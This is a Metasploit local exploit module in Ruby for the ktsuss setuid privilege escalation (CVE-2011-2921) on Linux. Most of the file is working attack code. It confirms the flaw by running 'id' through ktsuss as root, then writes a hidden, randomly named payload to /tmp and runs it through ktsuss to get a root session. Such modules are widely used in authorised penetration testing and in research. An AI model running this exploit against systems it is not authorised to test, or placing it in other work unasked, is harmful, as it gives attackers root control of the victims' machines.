ktsuss suid Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ktsuss suid Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges by exploiting
          a vulnerability in ktsuss versions 1.4 and prior.

          The ktsuss executable is setuid root and does not drop
          privileges prior to executing user specified commands,
          resulting in command execution with root privileges.

          This module has been tested successfully on:

          ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and
          ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'John Lightsey', # Discovery and exploit
          'bcoles'         # Metasploit
        ],
        'DisclosureDate' => '2011-08-13',
        'References' => [
          ['CVE', '2011-2921'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'],
          ['URL', 'https://security.gentoo.org/glsa/201201-15'],
          ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh']
        ],
        'Platform' => ['linux'],
        'Arch' => [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['Auto', {}]],
        'DefaultOptions' => {
          'AppendExit' => true,
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependSetreuid' => true,
          'PrependSetuid' => true,
          'PrependFork' => true
        },
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options [
      OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss'])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def ktsuss_path
    datastore['KTSUSS_PATH']
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
  end

  def check
    return CheckCode::Safe("#{ktsuss_path} file not found") unless file? ktsuss_path
    return CheckCode::Safe("#{ktsuss_path} is not setuid") unless setuid? ktsuss_path

    vprint_good "#{ktsuss_path} is setuid"

    id = cmd_exec 'whoami'
    res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s
    vprint_status res

    unless res.include? 'uid=0'
      return CheckCode::Safe
    end

    CheckCode::Vulnerable
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    payload_name = ".#{rand_text_alphanumeric 10..15}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    print_status 'Executing payload ...'
    id = cmd_exec 'whoami'
    res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo "
    vprint_line res
  end
end